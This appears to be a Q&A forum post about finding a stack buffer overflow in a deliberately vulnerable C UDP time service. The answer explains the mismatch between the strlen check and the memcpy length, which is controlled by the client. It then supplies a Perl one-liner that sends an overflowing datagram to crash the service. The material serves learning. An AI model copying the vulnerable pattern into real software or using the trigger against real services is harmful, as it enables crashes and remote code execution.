Where is the Buffer Overflow vulnerability in this C code?

Question

So I am learning about buffer overflow attacks in C. I understand what they are and I can find a buffer overflow vulnerability in a simple C code. Simple is fine :).

But this code seems to go beyond my definition of 'simple'.

So far, I understand that in this C code, buffer overflow vulnerabilities can happen mainly in the line: strcpy(retstr, "Process Error."); but there is an if statement above the line that I think protects against buffer overflow at this line.

I would appreciate any help in finding the buffer overflow vulnerability in this code.

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <time.h>


#define CANBUFSIZE 106
#define MSGBUFSIZE 256
#define TIMEBUFSIZE 128

char msgbuf[MSGBUFSIZE];
char canarybuf[CANBUFSIZE];

void get_time(char* format, char* retstr, unsigned received)
{
  // memory for our local copy of the timestring
  char timebuf[TIMEBUFSIZE];
  time_t curtime;

  // if the format string esceeds our local buffer ...
  if(strlen(format) > TIMEBUFSIZE)
  {
    strcpy(retstr,"Process Error.");
    return;
  }

  // otherwise create a local working copy
  memcpy(timebuf,format,received);

  // Get the current time.
  curtime = time (NULL);

  // Convert it to local time representation.
  // and convert the format string to the real timestring
  struct tm *loctime = localtime (&curtime);
  strftime(retstr,TIMEBUFSIZE,timebuf,loctime);

  return;
}


int main(int argc, char** argv)
{
  int port;                     // the portnumber of our service
  struct in_addr bind_addr;     // bind address of the server
  int sd;                       // the socketdescriptor
  struct sockaddr_in addr;      // address of our service
  struct sockaddr_in addr_from; //address of the client
  int addrlen = sizeof(addr_from);
  int pid;                      // our process id
  int sid;                      // our session id
  unsigned received;            // number of bytes received from network


  // resolve command line arguments
  if(argc != 3)
  {
    printf("Usage: timeservice <bind address> <portnum>\n");
    return 1;
  }
  
  if (inet_aton(argv[1], &bind_addr) == 0)
  {
       fprintf(stderr, "Invalid bind address\n");
       exit(EXIT_FAILURE);
  }
  
  port = atoi(argv[2]); 
  if ((port < 1024) || (port > 65535))
  {
    printf("Portrange has to be between 1024 and 65535.\n");
    exit(EXIT_FAILURE);
  }


  // forking to background
  pid = fork();
  if(pid < 0)
  {
    printf("fork() failed\n");
    exit(EXIT_FAILURE);
  }
  // we are parent
  else if(pid > 0)
  {
    return 0;
  }

  /*
   * we are the child process
   * because of the termination of our parent, we need a new session id,
   * else we are zombie
   */
  sid = setsid();
  if (sid < 0) {
    return 1;
  }

  /*
   * since we are a system service we have to close all standard file 
   * descriptors
   */
  close(STDIN_FILENO);
  close(STDOUT_FILENO);
  close(STDERR_FILENO);

  // create an udp socket
  if((sd = socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0)
  {
    return 1;
  }

  // clear the memory of our addr struct
  memset(&addr,0,sizeof(addr));

  // Protocol Family = IPv4
  addr.sin_family = PF_INET; 
  
  // Listen on bindAddr and bindPort only
  addr.sin_addr.s_addr = bind_addr.s_addr;
  addr.sin_port = htons(port);

  // bind to the udp socket
  if(bind(sd,(struct sockaddr*)&addr,sizeof(addr)) != 0)
  {
    return 1;
  }

  for(;;)
  {
    // prepare memory
    memset(&msgbuf, 0, sizeof(msgbuf));

    received = recvfrom(sd,msgbuf,MSGBUFSIZE,MSG_WAITALL,
      (struct sockaddr*)&addr_from,(socklen_t*) &addrlen);

    // fork a new child
    pid = fork();

    // we are parent
    if (pid > 0)
    {
      // wait for the child to finish
      waitpid(pid,NULL,0);
    }
    else
    {
      /*
       * we are inside the child process
       */

      // reserve some memory for our response
      char * returnstr = (char*) malloc(TIMEBUFSIZE);

      // analyse the client request and format the time string
      get_time(msgbuf, returnstr, received);

      // send our response to the client
      sendto(sd,returnstr,strlen(returnstr)+1,MSG_DONTWAIT,
        (struct sockaddr *) &addr_from, addrlen);

      free(returnstr);
      return EXIT_SUCCESS;
    }
  }

  close(sd);

  return 0;
}

Answer 1

There is a discrepancy in get_time: strlen is used to check the "size" of the incoming buffer, but memcpy is used with a user-supplied received argument. It suffices to pass a buffer with a NUL byte within the first TIMEBUFSIZE bytes.

You can trigger the crash directly in code if you do:

received = 256;
memset(msgbuf, 'A', MSGBUFSIZE);
msgbuf[0] = 0;

this will "fill up" msgbuf with 256 bytes and then keep writing for 128 bytes more, overwriting the return address on the stack to an address of your choice. Because the first byte is a NUL, the strlen check passes.

If you want to trigger this on the actual binary, you probably need something like: (assuming it runs on localhost:1234)

perl -MIO::Socket::IP -E '
  $buf = "\0" . ("A"x255);
  my $s = IO::Socket::IP->new(PeerHost => "127.0.0.1", PeerPort => 1234, Type => SOCK_DGRAM);
  $s->autoflush(1);
  print $s $buf;
'

and then of course you need to modify the buffer to perform actual code flow